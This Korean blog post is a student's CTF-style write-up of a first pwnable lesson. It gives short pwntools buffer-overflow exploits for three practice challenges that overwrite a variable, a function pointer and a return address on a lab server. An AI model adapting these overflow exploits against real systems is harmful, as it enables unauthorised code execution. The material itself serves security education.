본문 바로가기

Layer7

Layer7 - 포너블 1차시 수업

 

문제 3개 전부 합쳐서 실행 한번도 안해보고 5분컷 냈다. ezpzzzlol

HackCTF극초반 느낌 난다.

 

bof_basic

 

 

v5변수만 맞춰주면 풀린다.

 

 

음수를 h키 눌러서 hex로 바꾸면 이렇게 되고 0x34-0xc만큼 더미 넣어주고 저 값 넣어주면 된다.

 

from pwn import *

r = remote("pwn.scalart.me", 8001)

r.sendline(b"a"*(0x34-0xc)+p32(0xDEADBEEF))

r.interactive()

 

 

bof_basic2

 

 

 

함수포인터 주고 셸함수 주니까 그냥 함수포인터 덮으면 된다. 마찬가지로 버퍼가 ebp-0x8c에 있고 함수포인터가 ebp-0xc에 있으므로 0x8c-0xc만큼 더미 주고 셸함수 주소 넣어주면 된다.

 

from pwn import *

r = remote("pwn.scalart.me", 8002)

r.sendline(b"a"*(0x8c-0xc)+p32(0x804849B))

r.interactive()

 

 

64bof_basic

 

 

 

카나리 없고 셸함수 주고 bof터지니까 return address덮으면 된다. 함수 프롤로그 에필로그에 대한 지식이 있다면 알 수 있는 사실인데 return address는 64비트의 경우 보통 rbp+8에 위치한다. 따라서 0x118만큼 더미 넣고 셸함수 주소 주면 된다.

 

from pwn import *

r = remote("pwn.scalart.me", 8003)

r.sendline(b"a"*0x118+p64(0x400606))

r.interactive()

 

 

'Layer7' 카테고리의 다른 글

Layer7 - 포너블 2차시 수업 + 과제  (0) 2022.10.04
Layer7 - 포너블 1차시 과제  (0) 2022.10.04
Layer7 - 리버싱 11차시 과제  (0) 2022.10.04
Layer7 - 리버싱 10차시 과제  (0) 2022.10.04
Layer7 - 리버싱 9차시 과제  (0) 2022.10.04